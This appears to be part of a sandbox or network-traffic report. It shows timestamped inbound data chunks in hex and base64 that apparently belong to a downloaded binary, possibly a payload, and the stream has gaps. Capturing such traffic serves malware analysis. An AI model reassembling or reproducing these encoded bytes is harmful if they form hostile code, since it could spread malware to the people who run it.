2023-04-20 23:03:01 UTC	3104	IN	Data Raw: 41 41 4a 53 4b 47 78 4b 4a 69 55 74 47 68 6b 44 51 41 41 41 41 41 41 41 41 41 41 6a 50 2f 41 41 41 41 41 41 41 41 41 6a 56 46 67 58 61 51 6f 41 42 54 51 6f 57 77 6f 41 41 74 30 6f 51 41 41 41 41 41 41 41 41 41 41 6a 43 67 41 43 33 53 67 6d 56 79 30 65 47 41 49 6d 57 69 30 56 48 51 4d 41 41 41 41 41 41 41 41 41 61 51 41 47 4d 41 4d 41 41 41 41 71 38 53 73 6d 35 53 73 6d 42 69 74 61 43 67 41 43 55 69 68 73 4a 67 30 73 46 68 63 44 51 41 41 41 41 41 41 41 41 41 41 6a 4a 68 6b 74 48 68 73 43 41 41 41 41 41 41 41 41 41 43 55 41 43 6a 41 44 41 41 41 41 4b 75 59 72 4a 67 4d 72 57 45 48 67 41 41 41 41 41 41 41 41 49 32 78 5a 61 68 64 5a 61 6e 2f 2f 2f 2f 38 67 4a 68 67 73 46 68 73 43 41 41 41 41 41 41 41 41 41 43 45 41 43 6a 41 44 41 41 41 41 4b 67 6f 41 41 54 70 Data Ascii: AAJSKGxKJiUtGhkDQAAAAAAAAAAjP/AAAAAAAAAjVFgXaQoABTQoWwoAAt0oQAAAAAAAAAAjCgAC3SgmVy0eGAImWi0VHQMAAAAAAAAAaQAGMAMAAAAq8Ssm5SsmBitaCgACUihsJg0sFhcDQAAAAAAAAAAjJhktHhsCAAAAAAAAACUACjADAAAAKuYrJgMrWEHgAAAAAAAAI2xZahdZan////8gJhgsFhsCAAAAAAAAACEACjADAAAAKgoAATp
2023-04-20 23:03:01 UTC	3120	IN	Data Raw: 63 32 38 4b 45 51 59 4b 43 67 41 43 63 58 4d 49 45 51 67 54 43 67 41 46 44 33 4d 48 45 51 34 54 42 67 41 42 6d 79 67 47 41 41 6c 4c 4b 49 6e 53 53 4e 6b 67 44 52 4d 47 41 41 47 62 4b 41 59 41 43 55 73 6f 69 64 4a 4a 4d 79 41 4d 45 77 59 41 41 5a 73 6f 42 67 41 4a 53 79 69 4a 30 6c 73 4a 49 41 73 54 42 67 41 42 6d 79 67 47 41 41 6c 4c 4b 49 6e 53 43 6e 41 67 43 68 4d 47 41 41 47 62 4b 41 59 41 43 55 73 6f 69 64 4a 49 78 69 41 48 45 77 45 41 41 42 75 4e 57 41 6b 46 45 62 6b 79 42 67 41 51 77 53 67 43 42 42 45 41 4b 77 51 54 37 79 73 4e 34 69 73 47 45 77 73 72 4a 67 6f 74 48 46 67 58 42 42 45 6d 44 79 30 56 57 46 67 4d 48 31 68 64 47 41 59 52 42 68 45 4a 4a 68 73 74 46 31 67 58 43 67 41 42 4d 47 38 47 41 41 34 39 62 77 59 41 45 4d 49 6f 42 42 45 43 38 79 73 Data Ascii: c28KEQYKCgACcXMIEQgTCgAFD3MHEQ4TBgABmygGAAlLKInSSNkgDRMGAAGbKAYACUsoidJJMyAMEwYAAZsoBgAJSyiJ0lsJIAsTBgABmygGAAlLKInSCnAgChMGAAGbKAYACUsoidJIxiAHEwEAABuNWAkFEbkyBgAQwSgCBBEAKwQT7ysN4isGEwsrJgotHFgXBBEmDy0VWFgMH1hdGAYRBhEJJhstF1gXCgABMG8GAA49bwYAEMIoBBEC8ys
2023-04-20 23:03:01 UTC	3136	IN	Data Raw: 4b 77 72 79 4b 77 51 41 43 58 35 39 4a 53 73 6d 43 69 30 65 41 69 59 6d 43 53 30 63 46 67 49 59 4d 77 6f 41 41 6f 39 76 43 67 41 43 6a 69 67 45 41 41 6d 41 65 77 49 71 4d 2f 34 66 42 41 41 4a 66 6e 73 43 45 51 41 43 42 67 41 41 41 46 45 41 42 54 41 54 41 41 41 41 4b 76 59 72 4a 67 4d 72 42 41 41 4a 66 33 73 6d 43 43 30 5a 46 77 49 41 41 41 41 41 41 41 41 41 45 51 41 4b 4d 41 4d 41 65 67 6f 41 41 70 52 7a 47 67 41 41 41 43 72 32 4b 79 59 44 4b 77 51 41 43 58 39 37 4a 67 67 74 47 68 73 43 41 41 41 41 41 41 41 41 41 42 45 41 43 6a 41 44 41 41 41 71 46 73 41 79 42 67 41 50 36 79 67 48 42 41 41 4a 67 6e 73 43 42 41 41 4a 67 6e 31 59 46 77 67 43 44 41 51 41 43 59 4a 37 41 67 51 41 43 58 35 39 46 51 49 71 46 77 51 41 43 58 35 39 46 77 49 45 41 41 6c 2f 66 51 59 Data Ascii: KwryKwQACX59JSsmCi0eAiYmCS0cFgIYMwoAAo9vCgACjigEAAmAewIqM/4fBAAJfnsCEQACBgAAAFEABTATAAAAKvYrJgMrBAAJf3smCC0ZFwIAAAAAAAAAEQAKMAMAegoAApRzGgAAACr2KyYDKwQACX97JggtGhsCAAAAAAAAABEACjADAAAqFsAyBgAP6ygHBAAJgnsCBAAJgn1YFwgCDAQACYJ7AgQACX59FQIqFwQACX59FwIEAAl/fQY
2023-04-20 23:03:01 UTC	3168	IN	Data Raw: 41 67 41 42 4e 34 38 47 42 41 51 41 41 2b 68 39 57 51 30 52 42 41 41 44 36 48 73 43 41 41 45 33 6a 77 59 45 41 67 41 42 4e 34 38 4a 42 41 51 41 41 2b 64 39 57 51 77 52 42 41 41 44 35 33 73 43 41 41 45 33 6a 77 59 45 41 67 41 42 4e 34 38 4a 42 41 30 54 57 46 6f 45 41 41 50 6e 65 77 49 41 41 54 65 50 43 51 51 49 45 56 6f 45 41 41 50 6f 65 77 49 41 41 54 65 50 43 51 51 48 45 51 77 54 57 56 6f 45 41 41 50 6f 65 77 49 41 41 54 65 50 43 51 51 49 45 56 6f 45 41 41 50 6e 65 77 49 41 41 54 65 50 43 51 51 48 45 51 31 59 43 78 45 47 41 41 41 41 70 6a 67 4b 42 77 41 41 41 4e 59 34 43 78 59 49 45 77 41 41 41 41 41 69 42 78 4d 2f 67 41 41 41 49 67 6b 54 59 68 63 4a 45 51 73 54 43 52 45 41 41 41 45 35 4f 41 6f 54 46 67 6b 54 46 77 59 54 41 41 41 41 41 43 49 46 45 37 2b Data Ascii: AgABN48GBAQAA+h9WQ0RBAAD6HsCAAE3jwYEAgABN48JBAQAA+d9WQwRBAAD53sCAAE3jwYEAgABN48JBA0TWFoEAAPnewIAATePCQQIEVoEAAPoewIAATePCQQHEQwTWVoEAAPoewIAATePCQQIEVoEAAPnewIAATePCQQHEQ1YCxEGAAAApjgKBwAAANY4CxYIEwAAAAAiBxM/gAAAIgkTYhcJEQsTCREAAAE5OAoTFgkTFwYTAAAAACIFE7+
2023-04-20 23:03:01 UTC	3184	IN	Data Raw: 41 69 55 7a 57 68 67 45 41 41 6a 54 65 77 49 48 4d 44 4e 59 46 77 55 52 42 41 41 49 30 48 73 43 41 41 41 41 6f 7a 6b 48 41 41 41 41 71 54 34 46 45 51 51 41 43 4e 42 37 41 67 73 47 41 41 71 2f 62 78 59 45 41 41 6a 56 65 77 49 47 45 51 51 41 43 4e 52 37 41 67 41 41 41 4e 49 35 42 68 45 47 45 77 59 41 44 75 4d 6f 46 77 49 41 41 41 44 62 4f 41 51 41 43 4e 68 39 46 67 49 4b 41 41 42 39 62 77 59 41 41 65 6c 76 43 67 41 45 76 47 38 45 41 41 6a 51 65 77 49 45 41 41 6a 50 65 77 49 45 41 41 6a 4a 65 77 49 45 41 41 6a 51 66 51 6f 41 41 65 4d 6f 57 52 6b 45 41 41 6a 51 65 77 49 57 41 67 59 41 43 73 42 76 42 41 41 49 31 48 73 43 41 41 41 42 4a 7a 6b 45 41 41 6a 59 65 77 49 46 45 77 51 41 43 4e 42 37 41 67 41 43 43 2f 35 59 43 41 51 4b 57 41 67 47 42 41 41 49 31 6e 31 Data Ascii: AiUzWhgEAAjTewIHMDNYFwURBAAI0HsCAAAAozkHAAAAqT4FEQQACNB7AgsGAAq/bxYEAAjVewIGEQQACNR7AgAAANI5BhEGEwYADuMoFwIAAADbOAQACNh9FgIKAAB9bwYAAelvCgAEvG8EAAjQewIEAAjPewIEAAjJewIEAAjQfQoAAeMoWRkEAAjQewIWAgYACsBvBAAI1HsCAAABJzkEAAjYewIFEwQACNB7AgACC/5YCAQKWAgGBAAI1n1
2023-04-20 23:03:01 UTC	3200	IN	Data Raw: 41 41 42 31 4b 41 63 72 4a 67 4d 74 46 77 49 41 41 41 41 41 41 41 41 41 44 77 41 4a 4d 41 4d 41 41 41 41 71 41 43 73 45 41 41 68 61 66 51 63 72 4a 69 59 45 4c 52 73 44 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6b 77 41 77 41 41 41 43 72 32 4b 79 59 44 4b 77 51 41 43 46 70 37 4a 67 67 74 46 52 6b 43 41 41 41 41 41 41 41 41 41 42 45 41 43 6a 41 44 41 41 41 41 4b 67 41 72 42 41 41 49 57 58 30 48 4b 79 59 6d 42 43 30 65 41 77 49 41 41 41 41 41 41 41 41 41 45 51 41 4a 4d 41 4d 41 41 41 41 71 39 69 73 6d 41 79 73 45 41 41 68 5a 65 79 59 49 4c 52 73 61 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6f 77 41 77 45 41 41 4f 77 47 41 4c 35 68 41 46 30 41 41 41 41 41 45 41 45 41 41 41 41 71 41 41 41 41 41 4e 30 6d 42 74 34 6d 43 67 41 42 77 57 38 49 43 67 41 43 69 32 38 Data Ascii: AAB1KAcrJgMtFwIAAAAAAAAADwAJMAMAAAAqACsEAAhafQcrJiYELRsDAgAAAAAAAAARAAkwAwAAACr2KyYDKwQACFp7JggtFRkCAAAAAAAAABEACjADAAAAKgArBAAIWX0HKyYmBC0eAwIAAAAAAAAAEQAJMAMAAAAq9ismAysEAAhZeyYILRsaAgAAAAAAAAARAAowAwEAAOwGAL5hAF0AAAAAEAEAAAAqAAAAAN0mBt4mCgABwW8ICgACi28
2023-04-20 23:03:01 UTC	3216	IN	Data Raw: 41 4f 38 6f 57 51 68 70 6a 67 51 41 42 38 56 37 41 67 67 45 41 41 66 46 65 77 4c 77 4b 77 77 44 4b 78 73 76 61 59 34 45 41 41 66 46 65 77 49 49 4a 67 34 74 47 67 59 41 45 4e 4a 76 61 59 34 45 41 41 66 46 65 77 49 57 42 41 41 48 78 58 73 43 42 41 41 48 77 6e 73 43 41 41 41 41 6a 7a 34 57 42 67 41 4e 55 69 67 43 4b 75 73 72 43 77 4d 72 42 69 77 47 41 41 54 32 62 77 63 4b 41 41 52 78 62 77 63 43 42 69 59 54 4c 52 67 47 41 41 54 78 63 77 51 41 42 34 35 37 41 67 41 43 47 34 38 57 42 41 41 4a 4b 33 73 47 41 42 4a 58 62 77 51 41 42 38 46 37 41 67 51 41 42 38 52 37 41 67 51 44 2b 43 73 4b 41 79 74 48 4c 41 59 6d 42 69 77 57 42 41 41 48 79 33 73 43 56 44 45 57 42 67 41 4e 56 43 67 43 45 51 41 42 75 77 41 41 41 50 6b 41 45 6a 41 54 41 41 41 71 42 41 41 48 78 58 30 Data Ascii: AO8oWQhpjgQAB8V7AggEAAfFewLwKwwDKxsvaY4EAAfFewIIJg4tGgYAENJvaY4EAAfFewIWBAAHxXsCBAAHwnsCAAAAjz4WBgANUigCKusrCwMrBiwGAAT2bwcKAARxbwcCBiYTLRgGAATxcwQAB457AgACG48WBAAJK3sGABJXbwQAB8F7AgQAB8R7AgQD+CsKAytHLAYmBiwWBAAHy3sCVDEWBgANVCgCEQABuwAAAPkAEjATAAAqBAAHxX0
2023-04-20 23:03:01 UTC	3232	IN	Data Raw: 4b 79 59 44 4b 77 51 41 42 33 56 37 4a 67 67 74 47 68 34 43 41 41 41 41 41 41 41 41 41 42 45 41 43 6a 41 44 41 41 41 41 4b 76 59 72 4a 67 4d 72 42 41 41 48 64 48 73 6d 43 43 30 58 48 51 49 41 41 41 41 41 41 41 41 41 45 51 41 4b 4d 41 4d 41 41 41 41 71 39 69 73 6d 41 79 73 45 41 41 64 7a 65 79 59 49 4c 52 77 62 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6f 77 41 77 41 41 41 43 6f 45 41 41 64 31 66 51 6f 41 41 61 59 6f 42 41 41 43 50 74 41 6c 41 51 41 41 6e 6f 30 4f 48 77 49 45 41 41 64 30 66 52 30 43 42 41 41 44 70 6e 31 62 42 41 41 48 63 33 73 43 57 67 51 41 41 36 64 37 41 67 59 41 42 7a 30 6f 41 67 49 45 41 41 64 7a 66 57 68 59 47 46 74 61 42 41 51 41 41 36 68 37 41 6c 6f 65 57 56 6f 45 48 51 51 41 41 36 64 37 41 67 49 45 41 41 4f 6f 66 52 6f 43 42 41 41 Data Ascii: KyYDKwQAB3V7JggtGh4CAAAAAAAAABEACjADAAAAKvYrJgMrBAAHdHsmCC0XHQIAAAAAAAAAEQAKMAMAAAAq9ismAysEAAdzeyYILRwbAgAAAAAAAAARAAowAwAAACoEAAd1fQoAAaYoBAACPtAlAQAAno0OHwIEAAd0fR0CBAADpn1bBAAHc3sCWgQAA6d7AgYABz0oAgIEAAdzfWhYGFtaBAQAA6h7AloeWVoEHQQAA6d7AgIEAAOofRoCBAA
2023-04-20 23:03:01 UTC	3248	IN	Data Raw: 46 69 59 51 4c 52 55 55 42 67 41 4d 4b 79 67 4b 41 41 51 32 62 77 49 42 45 68 45 41 41 59 38 41 41 41 48 2f 41 41 51 77 47 77 41 41 4b 76 6f 72 43 67 4d 72 42 69 59 45 4c 52 6f 47 41 41 77 6f 4b 41 6f 41 41 73 4a 76 41 78 45 41 41 59 34 41 41 41 41 57 41 41 49 77 45 77 41 41 41 43 72 36 4b 77 6f 44 4b 77 59 6d 42 43 30 5a 42 67 41 4d 4b 43 67 43 45 51 41 42 6a 67 41 41 41 42 45 41 41 6a 41 54 4b 67 6f 41 42 44 56 76 43 67 41 43 76 33 4d 47 41 41 77 6e 42 76 34 55 43 67 41 43 76 69 68 65 41 41 41 41 4b 68 63 71 46 67 49 75 43 67 41 43 6d 57 38 4b 41 41 44 5a 4b 41 49 41 41 66 6a 51 43 67 41 43 6d 57 38 4a 4b 68 59 43 4c 51 6b 71 46 67 49 7a 43 67 41 41 32 53 67 42 41 41 44 69 30 41 6b 4e 46 41 45 72 43 67 41 45 4e 47 38 49 2b 43 73 4d 41 79 73 4e 4c 41 67 Data Ascii: FiYQLRUUBgAMKygKAAQ2bwIBEhEAAY8AAAH/AAQwGwAAKvorCgMrBiYELRoGAAwoKAoAAsJvAxEAAY4AAAAWAAIwEwAAACr6KwoDKwYmBC0ZBgAMKCgCEQABjgAAABEAAjATKgoABDVvCgACv3MGAAwnBv4UCgACviheAAAAKhcqFgIuCgACmW8KAADZKAIAAfjQCgACmW8JKhYCLQkqFgIzCgAA2SgBAADi0AkNFAErCgAENG8I+CsMAysNLAg
2023-04-20 23:03:01 UTC	3264	IN	Data Raw: 44 42 4d 4b 41 41 50 36 4b 42 41 66 42 68 45 48 45 77 6f 41 41 2f 77 6f 48 67 59 52 42 42 4d 4b 41 41 50 38 4b 42 59 47 45 53 59 47 41 41 46 50 62 77 59 52 45 68 45 56 45 51 6f 41 41 4f 6c 2b 44 42 38 58 43 67 41 41 36 58 34 4b 41 41 44 70 66 67 55 52 46 41 51 41 41 4d 56 2b 43 67 41 44 2f 69 67 41 45 41 41 62 49 44 41 66 43 52 55 54 43 67 41 44 2f 53 67 46 45 77 6f 41 41 4b 63 6f 41 77 59 41 43 55 73 6f 69 64 4a 69 67 69 41 46 45 52 51 73 46 42 45 55 45 77 48 2b 46 67 6f 41 41 59 41 6f 41 77 55 54 43 67 41 41 70 6d 38 47 41 41 67 6a 4b 50 2f 2f 2f 32 77 34 45 42 50 2f 2f 2f 39 68 4f 41 38 54 2f 2f 2f 2f 56 44 67 4f 45 2f 2f 2f 2f 30 63 34 44 52 50 2f 2f 2f 38 36 4f 41 73 69 4b 7a 41 73 45 78 45 54 45 77 48 2b 46 67 6f 41 41 2f 67 6f 42 52 45 46 45 77 6f Data Ascii: DBMKAAP6KBAfBhEHEwoAA/woHgYRBBMKAAP8KBYGESYGAAFPbwYREhEVEQoAAOl+DB8XCgAA6X4KAADpfgURFAQAAMV+CgAD/igAEAAbIDAfCRUTCgAD/SgFEwoAAKcoAwYACUsoidJigiAFERQsFBEUEwH+FgoAAYAoAwUTCgAApm8GAAgjKP///2w4EBP///9hOA8T////VDgOE////0c4DRP///86OAsiKzAsExETEwH+FgoAA/goBREFEwo
2023-04-20 23:03:01 UTC	3296	IN	Data Raw: 41 41 41 41 33 44 67 4e 43 67 41 42 59 43 67 4d 45 51 67 4d 45 77 59 41 43 73 39 76 42 77 59 41 41 41 44 7a 4f 41 55 54 46 77 41 41 41 50 51 34 41 41 41 41 4a 41 41 41 41 48 34 41 41 41 41 4e 41 41 41 41 42 51 41 41 41 41 52 46 57 52 63 4c 45 51 55 54 46 67 74 5a 46 77 63 4c 45 77 59 41 43 73 31 76 42 67 74 6f 59 47 49 65 43 68 45 47 41 41 72 4e 62 77 59 4b 45 77 59 41 43 73 31 76 42 67 30 57 43 67 59 41 43 73 78 7a 42 42 45 4a 45 77 6f 41 41 54 42 76 41 77 67 54 43 67 41 42 4d 47 38 49 41 43 73 4d 36 69 73 55 45 77 63 72 4a 67 63 74 48 67 6f 41 41 4b 63 6f 43 67 41 42 34 53 67 55 45 69 59 54 4c 52 70 70 6a 67 6f 41 41 38 64 76 41 67 59 41 43 55 73 6f 69 64 49 55 5a 79 41 49 38 79 73 4d 41 79 73 31 4c 41 6f 41 41 38 5a 76 41 69 59 4c 4c 52 63 4b 41 41 50 Data Ascii: AAAA3DgNCgABYCgMEQgMEwYACs9vBwYAAADzOAUTFwAAAPQ4AAAAJAAAAH4AAAANAAAABQAAAARFWRcLEQUTFgtZFwcLEwYACs1vBgtoYGIeChEGAArNbwYKEwYACs1vBg0WCgYACsxzBBEJEwoAATBvAwgTCgABMG8IACsM6isUEwcrJgctHgoAAKcoCgAB4SgUEiYTLRppjgoAA8dvAgYACUsoidIUZyAI8ysMAys1LAoAA8ZvAiYLLRcKAAP
2023-04-20 23:03:01 UTC	3328	IN	Data Raw: 42 67 41 4a 53 79 69 4a 30 6d 66 55 49 45 49 41 4b 67 6f 41 41 48 78 76 41 67 6f 41 41 48 31 76 57 41 4d 4b 41 41 42 35 62 77 49 43 44 69 73 4b 41 41 42 39 62 31 67 44 43 67 41 41 66 47 38 43 41 68 41 7a 46 77 54 7a 4b 79 62 77 4b 79 59 6f 4b 77 6f 41 41 48 31 76 4a 67 73 74 46 52 34 44 4a 67 34 74 47 52 30 43 2b 53 73 6d 41 79 73 65 4c 53 59 46 4c 52 6f 62 42 41 41 41 41 41 41 41 41 41 42 50 41 41 77 77 41 77 41 41 4b 67 59 41 4b 68 59 4b 41 43 6f 58 43 67 41 71 46 77 6f 41 41 41 41 71 39 69 73 6d 41 79 73 4b 41 41 45 37 4b 43 59 49 4c 52 55 62 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6f 77 41 77 41 41 41 43 72 32 4b 79 59 44 4b 77 51 41 42 52 64 37 4a 67 67 74 47 52 6b 43 41 41 41 41 41 41 41 41 41 42 45 41 43 6a 41 44 41 41 41 41 4b 76 59 72 4a 67 4d Data Ascii: BgAJSyiJ0mfUIEIAKgoAAHxvAgoAAH1vWAMKAAB5bwICDisKAAB9b1gDCgAAfG8CAhAzFwTzKybwKyYoKwoAAH1vJgstFR4DJg4tGR0C+SsmAyseLSYFLRobBAAAAAAAAABPAAwwAwAAKgYAKhYKACoXCgAqFwoAAAAq9ismAysKAAE7KCYILRUbAgAAAAAAAAARAAowAwAAACr2KyYDKwQABRd7JggtGRkCAAAAAAAAABEACjADAAAAKvYrJgM
2023-04-20 23:03:01 UTC	3344	IN	Data Raw: 41 41 43 4a 41 41 6f 77 45 77 41 71 43 67 41 42 62 57 38 55 43 67 41 42 62 48 4d 47 41 41 6b 61 42 76 34 47 42 41 41 45 75 58 73 43 4b 67 6f 41 41 57 74 76 42 67 41 4f 50 6e 4d 45 41 41 53 39 65 77 59 43 42 41 41 45 75 33 73 47 47 43 30 45 41 41 53 35 65 77 4c 5a 4b 77 51 41 42 4c 31 39 32 53 73 45 41 41 53 38 66 64 6b 72 43 68 45 72 53 79 77 45 41 41 53 37 65 77 59 45 41 41 53 37 66 51 51 41 42 4c 70 37 41 67 59 6d 4a 69 49 74 47 41 4d 47 4a 69 59 69 4c 52 55 43 42 69 59 6c 4c 52 55 47 41 41 6b 5a 63 78 45 41 41 54 30 41 41 41 42 33 41 41 59 77 45 77 41 41 41 41 41 41 41 41 41 52 41 41 41 42 66 67 41 41 41 56 38 41 41 41 41 66 41 41 41 41 41 67 45 41 41 48 6f 41 41 41 41 44 41 41 41 42 65 77 41 41 41 56 77 41 41 41 41 66 41 41 41 41 41 41 41 41 4e 45 45 Data Ascii: AACJAAowEwAqCgABbW8UCgABbHMGAAkaBv4GBAAEuXsCKgoAAWtvBgAOPnMEAAS9ewYCBAAEu3sGGC0EAAS5ewLZKwQABL192SsEAAS8fdkrChErSywEAAS7ewYEAAS7fQQABLp7AgYmJiItGAMGJiYiLRUCBiYlLRUGAAkZcxEAAT0AAAB3AAYwEwAAAAAAAAARAAABfgAAAV8AAAAfAAAAAgEAAHoAAAADAAABewAAAVwAAAAfAAAAAAAANEE
2023-04-20 23:03:01 UTC	3360	IN	Data Raw: 41 67 51 41 42 43 6c 37 41 67 41 41 41 41 41 41 41 41 41 66 41 41 6b 77 41 77 41 71 41 43 73 4b 41 41 42 56 4b 41 63 72 4a 67 4d 74 47 41 59 41 41 63 78 76 42 41 41 45 4b 33 77 43 42 41 41 45 4b 58 73 43 41 41 41 41 41 41 41 41 41 42 38 41 43 54 41 44 4b 67 41 72 43 67 41 41 56 53 67 48 4b 79 59 44 4c 52 6f 47 41 41 48 4a 62 77 51 41 42 43 74 38 41 67 4d 45 41 41 51 70 65 77 49 41 41 41 41 41 41 41 41 41 49 41 41 4a 4d 41 4d 71 39 69 73 4b 41 41 42 56 4b 41 63 72 42 69 59 45 4c 52 6b 47 41 41 48 4b 62 77 41 53 42 41 41 45 4b 58 73 43 45 51 41 41 42 41 41 41 41 42 77 41 42 44 41 54 4b 67 41 72 43 67 41 41 56 53 67 48 4b 79 59 44 4c 42 59 47 41 41 48 43 62 77 51 41 42 43 74 38 41 67 4d 45 41 41 51 70 65 77 49 41 41 41 41 41 41 41 41 41 49 41 41 4a 4d 41 4d Data Ascii: AgQABCl7AgAAAAAAAAAfAAkwAwAqACsKAABVKAcrJgMtGAYAAcxvBAAEK3wCBAAEKXsCAAAAAAAAAB8ACTADKgArCgAAVSgHKyYDLRoGAAHJbwQABCt8AgMEAAQpewIAAAAAAAAAIAAJMAMq9isKAABVKAcrBiYELRkGAAHKbwASBAAEKXsCEQAABAAAABwABDATKgArCgAAVSgHKyYDLBYGAAHCbwQABCt8AgMEAAQpewIAAAAAAAAAIAAJMAM
2023-04-20 23:03:01 UTC	3376	IN	Data Raw: 4a 51 6b 47 45 5a 74 59 47 67 59 52 42 52 45 47 45 35 63 46 45 53 55 46 45 77 63 45 45 52 38 72 43 78 59 72 4b 77 77 57 37 44 49 45 42 67 70 59 46 77 61 62 43 67 41 43 57 79 69 58 42 67 4d 47 42 42 48 30 4b 77 72 79 4b 77 51 54 37 43 73 4e 47 69 73 6d 43 69 30 56 46 69 59 4c 4c 42 59 62 41 41 42 33 6a 51 51 6d 45 69 30 5a 43 67 41 43 57 79 67 43 45 51 41 42 45 67 41 41 41 47 30 41 42 54 41 54 41 41 41 71 6e 6a 49 46 42 52 45 46 45 31 67 58 42 52 47 74 4d 67 51 49 44 46 67 58 43 46 4c 53 59 78 41 66 42 68 45 48 6d 31 67 58 42 77 59 4c 6c 77 59 6c 43 67 67 45 45 56 4c 53 59 78 34 47 45 51 65 62 57 42 63 48 42 67 75 58 42 69 55 4b 43 41 51 52 55 74 49 47 45 51 65 62 57 42 63 48 42 67 75 58 42 69 55 4b 43 41 51 52 42 68 4d 47 41 41 65 71 4b 47 78 4f 42 78 4e Data Ascii: JQkGEZtYGgYRBREGE5cFESUFEwcEER8rCxYrKwwW7DIEBgpYFwabCgACWyiXBgMGBBH0KwryKwQT7CsNGismCi0VFiYLLBYbAAB3jQQmEi0ZCgACWygCEQABEgAAAG0ABTATAAAqnjIFBREFE1gXBRGtMgQIDFgXCFLSYxAfBhEHm1gXBwYLlwYlCggEEVLSYx4GEQebWBcHBguXBiUKCAQRUtIGEQebWBcHBguXBiUKCAQRBhMGAAeqKGxOBxN
2023-04-20 23:03:01 UTC	3392	IN	Data Raw: 6d 48 73 6d 49 43 30 58 47 77 49 45 41 41 4f 58 65 79 59 6f 4c 52 6f 63 41 67 41 41 41 41 41 41 41 41 41 33 41 41 6f 77 41 77 41 41 41 43 72 32 4b 79 59 44 4b 77 6f 41 41 45 6b 6f 4a 67 67 74 46 52 34 43 41 41 41 41 41 41 41 41 41 42 45 41 43 6a 41 44 41 41 41 71 41 43 73 4b 41 41 42 55 4b 41 63 72 4a 67 4d 74 46 77 49 47 41 41 63 44 62 78 63 43 41 41 41 41 41 41 41 41 41 42 59 41 43 54 41 44 41 41 41 41 4b 67 59 41 4b 77 6f 44 4b 79 59 44 4c 52 67 47 41 41 2f 69 63 79 41 41 41 41 41 67 46 67 6f 41 41 57 4d 6f 42 67 41 47 39 69 67 43 2b 79 73 4b 49 69 73 6d 41 79 30 61 42 67 41 50 34 6e 4f 67 41 41 41 41 49 42 59 45 41 41 4f 4b 65 77 49 61 4c 41 6f 41 41 57 45 6f 43 67 41 41 36 58 34 45 41 41 4f 4b 65 77 49 52 41 41 44 79 41 41 41 41 54 51 41 47 4d 42 4d Data Ascii: mHsmIC0XGwIEAAOXeyYoLRocAgAAAAAAAAA3AAowAwAAACr2KyYDKwoAAEkoJggtFR4CAAAAAAAAABEACjADAAAqACsKAABUKAcrJgMtFwIGAAcDbxcCAAAAAAAAABYACTADAAAAKgYAKwoDKyYDLRgGAA/icyAAAAAgFgoAAWMoBgAG9igC+ysKIismAy0aBgAP4nOgAAAAIBYEAAOKewIaLAoAAWEoCgAA6X4EAAOKewIRAADyAAAATQAGMBM
2023-04-20 23:03:01 UTC	3408	IN	Data Raw: 46 76 34 41 45 67 41 41 41 41 37 64 30 43 30 4b 41 41 48 79 4b 41 41 53 48 74 34 4e 43 50 55 72 44 4f 73 72 43 77 59 72 44 43 77 49 4a 67 6b 74 47 41 59 41 42 6d 30 6f 46 77 4d 48 41 69 59 54 4c 52 55 4b 41 41 48 78 4b 41 41 53 4a 79 73 41 4b 77 6f 44 4b 79 59 44 4c 52 30 4b 41 41 48 77 62 77 59 41 42 6a 55 6f 41 68 45 41 41 4e 49 41 41 41 42 64 41 41 77 77 47 77 41 41 41 41 41 4f 41 46 4d 75 41 43 55 41 41 67 41 41 45 41 45 41 41 43 72 63 43 67 41 41 42 32 38 62 41 41 42 50 46 76 34 41 45 67 41 41 41 41 37 64 32 53 30 4b 41 41 48 79 4b 41 41 53 41 43 73 47 41 41 5a 72 4b 50 51 72 43 77 6f 72 4a 69 59 48 4c 52 73 48 41 69 59 4b 4c 52 6f 4b 41 41 48 78 4b 41 41 53 48 69 73 41 4b 77 6f 44 4b 79 59 44 4c 52 6f 4b 41 41 48 77 62 77 59 41 41 38 5a 76 41 77 6f Data Ascii: Fv4AEgAAAA7d0C0KAAHyKAASHt4NCPUrDOsrCwYrDCwIJgktGAYABm0oFwMHAiYTLRUKAAHxKAASJysAKwoDKyYDLR0KAAHwbwYABjUoAhEAANIAAABdAAwwGwAAAAAOAFMuACUAAgAAEAEAACrcCgAAB28bAABPFv4AEgAAAA7d2S0KAAHyKAASACsGAAZrKPQrCworJiYHLRsHAiYKLRoKAAHxKAASHisAKwoDKyYDLRoKAAHwbwYAA8ZvAwo
2023-04-20 23:03:01 UTC	3424	IN	Data Raw: 41 41 41 41 41 41 41 41 4c 67 41 4a 4d 41 4d 41 41 41 41 71 39 69 73 47 41 41 35 48 4b 41 63 72 42 69 59 6d 4a 67 59 74 47 67 41 53 46 41 49 52 41 41 41 35 41 41 41 41 46 51 41 45 4d 42 4d 71 42 6e 6f 4b 41 41 42 37 63 77 59 41 43 55 73 6f 69 64 49 33 6d 43 44 33 4b 77 59 41 44 6b 6b 6f 46 79 73 6d 4a 67 51 74 48 41 41 53 41 51 41 41 30 6e 55 43 46 69 77 42 41 41 44 53 64 51 49 52 41 41 43 37 41 41 41 41 4d 41 41 44 4d 42 4d 41 4b 76 59 72 42 67 41 4f 54 53 67 48 4b 77 59 6d 4a 67 55 74 48 51 49 41 45 68 45 41 41 4c 6f 41 41 41 41 54 41 41 4d 77 45 77 41 41 41 43 72 32 4b 77 59 41 44 6b 73 6f 42 79 73 47 4a 67 51 74 48 67 41 53 45 51 41 41 75 51 41 41 41 42 45 41 41 6a 41 54 41 43 72 32 4b 77 59 41 44 6b 77 6f 42 79 73 47 4a 69 59 46 4c 52 63 41 45 67 49 Data Ascii: AAAAAAAALgAJMAMAAAAq9isGAA5HKAcrBiYmJgYtGgASFAIRAAA5AAAAFQAEMBMqBnoKAAB7cwYACUsoidI3mCD3KwYADkkoFysmJgQtHAASAQAA0nUCFiwBAADSdQIRAAC7AAAAMAADMBMAKvYrBgAOTSgHKwYmJgUtHQIAEhEAALoAAAATAAMwEwAAACr2KwYADksoBysGJgQtHgASEQAAuQAAABEAAjATACr2KwYADkwoBysGJiYFLRcAEgI
